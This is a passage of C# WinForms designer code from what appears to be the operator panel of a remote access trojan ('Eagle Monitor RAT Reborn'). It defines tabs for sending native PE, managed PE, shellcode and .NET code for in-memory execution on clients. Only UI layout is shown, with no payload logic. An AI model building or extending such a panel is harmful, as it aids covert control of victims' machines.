System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.memoryExecutionGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.memoryExecutionGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.memoryExecutionGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.memoryExecutionGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.memoryExecutionGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.memoryExecutionGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.memoryExecutionGuna2TabControl.TabIndex = 69;\n            this.memoryExecutionGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.memoryExecutionGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage19\n            // \n            this.tabPage19.BackColor = System.Drawing.Color.White;\n            this.tabPage19.Controls.Add(this.nativePEDataGridView);\n            this.tabPage19.Location = new System.Drawing.Point(4, 44);\n            this.tabPage19.Name = \"tabPage19\";\n            this.tabPage19.Size = new System.Drawing.Size(1075, 378);\n            this.tabPage19.TabIndex = 1;\n            this.tabPage19.Text = \"PE\";\n            // \n            // nativePEDataGridView\n            // \n            this.nativePEDataGridView.AllowDrop = true;\n            this.nativePEDataGridView.AllowUserToAddRows = false;\n            this.nativePEDataGridView.AllowUserToDeleteRows = false;\n            this.nativePEDataGridView.AllowUserToResizeColumns = false;\n            this.nativePEDataGridView.AllowUserToResizeRows = false;\n            this.nativePEDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.nativePEDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.nativePEDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.nativePEDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle31.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle31.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle31.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle31.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle31.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle31.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle31.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.nativePEDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle31;\n            this.nativePEDataGridView.ColumnHeadersHeight = 36;\n            this.nativePEDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column35});\n            this.nativePEDataGridView.ContextMenuStrip = this.nativePEContextMenuStrip;\n            this.nativePEDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.nativePEDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.nativePEDataGridView.EnableHeadersVisualStyles = false;\n            this.nativePEDataGridView.GridColor = System.Drawing.Color.White;\n            this.nativePEDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.nativePEDataGridView.Name = \"nativePEDataGridView\";\n            this.nativePEDataGridView.ReadOnly = true;\n            this.nativePEDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle33.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle33.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle33.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle33.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.nativePEDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle33;\n            this.nativePEDataGridView.RowTemplate.Height = 26;\n            this.nativePEDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.nativePEDataGridView.Size = new System.Drawing.Size(1075, 378);\n            this.nativePEDataGridView.TabIndex = 17;\n            this.nativePEDataGridView.TabStop = false;\n            this.nativePEDataGridView.DragDrop += new System.Windows.Forms.DragEventHandler(this.nativePEDataGridView_DragDrop);\n            this.nativePEDataGridView.DragEnter += new System.Windows.Forms.DragEventHandler(this.nativePEDataGridView_DragEnter);\n            this.nativePEDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.nativePEDataGridView_MouseUp);\n            // \n            // Column35\n            // \n            this.Column35.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle32.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column35.DefaultCellStyle = dataGridViewCellStyle32;\n            this.Column35.FillWeight = 25F;\n            this.Column35.HeaderText = \"Path\";\n            this.Column35.Name = \"Column35\";\n            this.Column35.ReadOnly = true;\n            // \n            // nativePEContextMenuStrip\n            // \n            this.nativePEContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.nativePEContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.addNativePEContextMenuStripToolStripMenuItem,\n            this.removeNativePEContextMenuStripToolStripMenuItem,\n            this.sendNativePEContextMenuStripToolStripMenuItem});\n            this.nativePEContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.nativePEContextMenuStrip.Size = new System.Drawing.Size(130, 106);\n            // \n            // addNativePEContextMenuStripToolStripMenuItem\n            // \n            this.addNativePEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.addNativePEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.addNativePEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px;\n            this.addNativePEContextMenuStripToolStripMenuItem.Name = \"addNativePEContextMenuStripToolStripMenuItem\";\n            this.addNativePEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.addNativePEContextMenuStripToolStripMenuItem.Text = \"Add\";\n            this.addNativePEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.addNativePEContextMenuStripToolStripMenuItem_Click);\n            // \n            // removeNativePEContextMenuStripToolStripMenuItem\n            // \n            this.removeNativePEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.removeNativePEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.removeNativePEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.removeNativePEContextMenuStripToolStripMenuItem.Name = \"removeNativePEContextMenuStripToolStripMenuItem\";\n            this.removeNativePEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.removeNativePEContextMenuStripToolStripMenuItem.Text = \"Remove\";\n            this.removeNativePEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.removeNativePEContextMenuStripToolStripMenuItem_Click);\n            // \n            // sendNativePEContextMenuStripToolStripMenuItem\n            // \n            this.sendNativePEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.sendNativePEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.sendNativePEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.send_letter_32px;\n            this.sendNativePEContextMenuStripToolStripMenuItem.Name = \"sendNativePEContextMenuStripToolStripMenuItem\";\n            this.sendNativePEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.sendNativePEContextMenuStripToolStripMenuItem.Text = \"Send\";\n            this.sendNativePEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.sendNativePEContextMenuStripToolStripMenuItem_Click);\n            // \n            // tabPage22\n            // \n            this.tabPage22.Controls.Add(this.managedPEDataGridView);\n            this.tabPage22.Location = new System.Drawing.Point(4, 44);\n            this.tabPage22.Name = \"tabPage22\";\n            this.tabPage22.Size = new System.Drawing.Size(1075, 378);\n            this.tabPage22.TabIndex = 4;\n            this.tabPage22.Text = \"Managed PE\";\n            this.tabPage22.UseVisualStyleBackColor = true;\n            // \n            // managedPEDataGridView\n            // \n            this.managedPEDataGridView.AllowDrop = true;\n            this.managedPEDataGridView.AllowUserToAddRows = false;\n            this.managedPEDataGridView.AllowUserToDeleteRows = false;\n            this.managedPEDataGridView.AllowUserToResizeColumns = false;\n            this.managedPEDataGridView.AllowUserToResizeRows = false;\n            this.managedPEDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.managedPEDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.managedPEDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.managedPEDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle34.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle34.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle34.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle34.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle34.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle34.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle34.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.managedPEDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle34;\n            this.managedPEDataGridView.ColumnHeadersHeight = 36;\n            this.managedPEDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column33,\n            this.Column34});\n            this.managedPEDataGridView.ContextMenuStrip = this.managedPEContextMenuStrip;\n            this.managedPEDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.managedPEDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.managedPEDataGridView.EnableHeadersVisualStyles = false;\n            this.managedPEDataGridView.GridColor = System.Drawing.Color.White;\n            this.managedPEDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.managedPEDataGridView.Name = \"managedPEDataGridView\";\n            this.managedPEDataGridView.ReadOnly = true;\n            this.managedPEDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle36.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle36.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle36.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle36.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.managedPEDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle36;\n            this.managedPEDataGridView.RowTemplate.Height = 26;\n            this.managedPEDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.managedPEDataGridView.Size = new System.Drawing.Size(1075, 378);\n            this.managedPEDataGridView.TabIndex = 16;\n            this.managedPEDataGridView.TabStop = false;\n            this.managedPEDataGridView.DragDrop += new System.Windows.Forms.DragEventHandler(this.managedPEDataGridView_DragDrop);\n            this.managedPEDataGridView.DragEnter += new System.Windows.Forms.DragEventHandler(this.managedPEDataGridView_DragEnter);\n            this.managedPEDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.managedPEDataGridView_MouseUp);\n            // \n            // Column33\n            // \n            this.Column33.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle35.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column33.DefaultCellStyle = dataGridViewCellStyle35;\n            this.Column33.FillWeight = 25F;\n            this.Column33.HeaderText = \"Path\";\n            this.Column33.Name = \"Column33\";\n            this.Column33.ReadOnly = true;\n            // \n            // Column34\n            // \n            this.Column34.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column34.FillWeight = 20F;\n            this.Column34.HeaderText = \"Entrypoint (Dll)\";\n            this.Column34.Name = \"Column34\";\n            this.Column34.ReadOnly = true;\n            // \n            // managedPEContextMenuStrip\n            // \n            this.managedPEContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.managedPEContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.addManagedPEContextMenuStripToolStripMenuItem,\n            this.removeManagedPEContextMenuStripToolStripMenuItem,\n            this.sendManagedPEContextMenuStripToolStripMenuItem});\n            this.managedPEContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.managedPEContextMenuStrip.Size = new System.Drawing.Size(130, 106);\n            // \n            // addManagedPEContextMenuStripToolStripMenuItem\n            // \n            this.addManagedPEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.addManagedPEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.addManagedPEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px;\n            this.addManagedPEContextMenuStripToolStripMenuItem.Name = \"addManagedPEContextMenuStripToolStripMenuItem\";\n            this.addManagedPEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.addManagedPEContextMenuStripToolStripMenuItem.Text = \"Add\";\n            this.addManagedPEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.addManagedPEContextMenuStripToolStripMenuItem_Click);\n            // \n            // removeManagedPEContextMenuStripToolStripMenuItem\n            // \n            this.removeManagedPEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.removeManagedPEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.removeManagedPEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.removeManagedPEContextMenuStripToolStripMenuItem.Name = \"removeManagedPEContextMenuStripToolStripMenuItem\";\n            this.removeManagedPEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.removeManagedPEContextMenuStripToolStripMenuItem.Text = \"Remove\";\n            this.removeManagedPEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.removeManagedPEContextMenuStripToolStripMenuItem_Click);\n            // \n            // sendManagedPEContextMenuStripToolStripMenuItem\n            // \n            this.sendManagedPEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.sendManagedPEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.sendManagedPEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.send_letter_32px;\n            this.sendManagedPEContextMenuStripToolStripMenuItem.Name = \"sendManagedPEContextMenuStripToolStripMenuItem\";\n            this.sendManagedPEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.sendManagedPEContextMenuStripToolStripMenuItem.Text = \"Send\";\n            this.sendManagedPEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.sendManagedPEContextMenuStripToolStripMenuItem_Click);\n            // \n            // tabPage20\n            // \n            this.tabPage20.Controls.Add(this.shellcodeDataGridView);\n            this.tabPage20.Controls.Add(this.guna2VScrollBar8);\n            this.tabPage20.Location = new System.Drawing.Point(4, 44);\n            this.tabPage20.Name = \"tabPage20\";\n            this.tabPage20.Size = new System.Drawing.Size(1075, 378);\n            this.tabPage20.TabIndex = 2;\n            this.tabPage20.Text = \"Shellcode\";\n            this.tabPage20.UseVisualStyleBackColor = true;\n            // \n            // shellcodeDataGridView\n            // \n            this.shellcodeDataGridView.AllowDrop = true;\n            this.shellcodeDataGridView.AllowUserToAddRows = false;\n            this.shellcodeDataGridView.AllowUserToDeleteRows = false;\n            this.shellcodeDataGridView.AllowUserToResizeColumns = false;\n            this.shellcodeDataGridView.AllowUserToResizeRows = false;\n            this.shellcodeDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.shellcodeDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.shellcodeDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.shellcodeDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle37.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle37.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle37.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle37.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle37.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle37.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle37.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.shellcodeDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle37;\n            this.shellcodeDataGridView.ColumnHeadersHeight = 36;\n            this.shellcodeDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column32});\n            this.shellcodeDataGridView.ContextMenuStrip = this.shellcodeContextMenuStrip;\n            this.shellcodeDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.shellcodeDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.shellcodeDataGridView.EnableHeadersVisualStyles = false;\n            this.shellcodeDataGridView.GridColor = System.Drawing.Color.White;\n            this.shellcodeDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.shellcodeDataGridView.Name = \"shellcodeDataGridView\";\n            this.shellcodeDataGridView.ReadOnly = true;\n            this.shellcodeDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle39.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle39.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle39.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle39.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.shellcodeDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle39;\n            this.shellcodeDataGridView.RowTemplate.Height = 26;\n            this.shellcodeDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.shellcodeDataGridView.Size = new System.Drawing.Size(1057, 378);\n            this.shellcodeDataGridView.TabIndex = 15;\n            this.shellcodeDataGridView.TabStop = false;\n            this.shellcodeDataGridView.DragDrop += new System.Windows.Forms.DragEventHandler(this.shellcodeDataGridView_DragDrop);\n            this.shellcodeDataGridView.DragEnter += new System.Windows.Forms.DragEventHandler(this.shellcodeDataGridView_DragEnter);\n            this.shellcodeDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.shellcodeDataGridView_MouseUp);\n            // \n            // Column32\n            // \n            this.Column32.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle38.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column32.DefaultCellStyle = dataGridViewCellStyle38;\n            this.Column32.FillWeight = 25F;\n            this.Column32.HeaderText = \"Path\";\n            this.Column32.Name = \"Column32\";\n            this.Column32.ReadOnly = true;\n            // \n            // shellcodeContextMenuStrip\n            // \n            this.shellcodeContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.shellcodeContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.addShellCodeContextMenuStripToolStripMenuItem,\n            this.removeShellCodeContextMenuStripToolStripMenuItem,\n            this.sendShellcodeToolStripMenuItem});\n            this.shellcodeContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.shellcodeContextMenuStrip.Size = new System.Drawing.Size(130, 106);\n            // \n            // addShellCodeContextMenuStripToolStripMenuItem\n            // \n            this.addShellCodeContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.addShellCodeContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.addShellCodeContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px;\n            this.addShellCodeContextMenuStripToolStripMenuItem.Name = \"addShellCodeContextMenuStripToolStripMenuItem\";\n            this.addShellCodeContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.addShellCodeContextMenuStripToolStripMenuItem.Text = \"Add\";\n            this.addShellCodeContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.addShellCodeContextMenuStripToolStripMenuItem_Click);\n            // \n            // removeShellCodeContextMenuStripToolStripMenuItem\n            // \n            this.removeShellCodeContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.removeShellCodeContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.removeShellCodeContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px;\n            this.removeShellCodeContextMenuStripToolStripMenuItem.Name = \"removeShellCodeContextMenuStripToolStripMenuItem\";\n            this.removeShellCodeContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.removeShellCodeContextMenuStripToolStripMenuItem.Text = \"Remove\";\n            this.removeShellCodeContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.removeShellCodeContextMenuStripToolStripMenuItem_Click);\n            // \n            // sendShellcodeToolStripMenuItem\n            // \n            this.sendShellcodeToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.sendShellcodeToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.sendShellcodeToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.send_letter_32px;\n            this.sendShellcodeToolStripMenuItem.Name = \"sendShellcodeToolStripMenuItem\";\n            this.sendShellcodeToolStripMenuItem.Size = new System.Drawing.Size(129, 34);\n            this.sendShellcodeToolStripMenuItem.Text = \"Send\";\n            this.sendShellcodeToolStripMenuItem.Click += new System.EventHandler(this.sendShellcodeToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar8\n            // \n            this.guna2VScrollBar8.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar8.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar8.InUpdate = false;\n            this.guna2VScrollBar8.LargeChange = 10;\n            this.guna2VScrollBar8.Location = new System.Drawing.Point(1057, 0);\n            this.guna2VScrollBar8.Name = \"guna2VScrollBar8\";\n            this.guna2VScrollBar8.ScrollbarSize = 18;\n            this.guna2VScrollBar8.Size = new System.Drawing.Size(18, 378);\n            this.guna2VScrollBar8.TabIndex = 16;\n            this.guna2VScrollBar8.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tabPage21\n            // \n            this.tabPage21.Controls.Add(this.platformGuna2ComboBox);\n            this.tabPage21.Controls.Add(this.languageComboBox);\n            this.tabPage21.Controls.Add(this.codeTextBox);\n            this.tabPage21.Controls.Add(this.testDotNetGuna2Button);\n            this.tabPage21.Controls.Add(this.sendDotNetGuna2Button);\n            this.tabPage21.Controls.Add(this.importLibDataGridView);\n            this.tabPage21.Location = new System.Drawing.Point(4, 44);\n            this.tabPage21.Name = \"tabPage21\";\n            this.tabPage21.Size = new System.Drawing.Size(1075, 378);\n            this.tabPage21.TabIndex = 3;\n            this.tabPage21.Text = \"DotNet Code\";\n            this.tabPage21.UseVisualStyleBackColor = true;\n            // \n            // platformGuna2ComboBox\n            // \n            this.platformGuna2ComboBox.Animated = true;\n            this.platformGuna2ComboBox.AutoRoundedCorners = true;\n            this.platformGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.platformGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.platformGuna2ComboBox.BorderRadius = 17;\n            this.platformGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.platformGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.platformGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.platformGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.platformGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.platformGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.platformGuna2ComboBox.ItemHeight = 30;\n            this.platformGuna2ComboBox.Items.AddRange(new object[] {\n            \"x86\",\n            \"x64\",\n            \"anycpu\"});\n            this.platformGuna2ComboBox.Location = new System.Drawing.Point(178, 6);\n            this.platformGuna2ComboBox.Name = \"platformGuna2ComboBox\";\n            this.platformGuna2ComboBox.Size = new System.Drawing.Size(168, 36);\n            this.platformGuna2ComboBox.StartIndex = 2;\n            this.platformGuna2ComboBox.TabIndex = 58;\n            this.platformGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            // \n            // languageComboBox\n            // \n            this.languageComboBox.Animated = true;\n            this.languageComboBox.AutoRoundedCorners = true;\n            this.languageComboBox.BackColor = System.Drawing.Color.White;\n            this.languageComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.languageComboBox.BorderRadius = 17;\n            this.languageComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.languageComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.languageComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.languageComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.languageComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.languageComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.languageComboBox.ItemHeight = 30;\n            this.languageComboBox.Items.AddRange(new object[] {\n            \"C#\",\n            \"VB\"});\n            this.languageComboBox.Location = new System.Drawing.Point(3, 6);\n            this.languageComboBox.Name = \"languageComboBox\";\n            this.languageComboBox.Size = new System.Drawing.Size(168, 36);\n            this.languageComboBox.StartIndex = 0;\n            this.languageComboBox.TabIndex = 57;\n            this.languageComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;\n            this.languageComboBox.SelectedIndexChanged += new System.EventHandler(this.languageComboBox_SelectedIndexChanged);\n            // \n            // codeTextBox\n            // \n            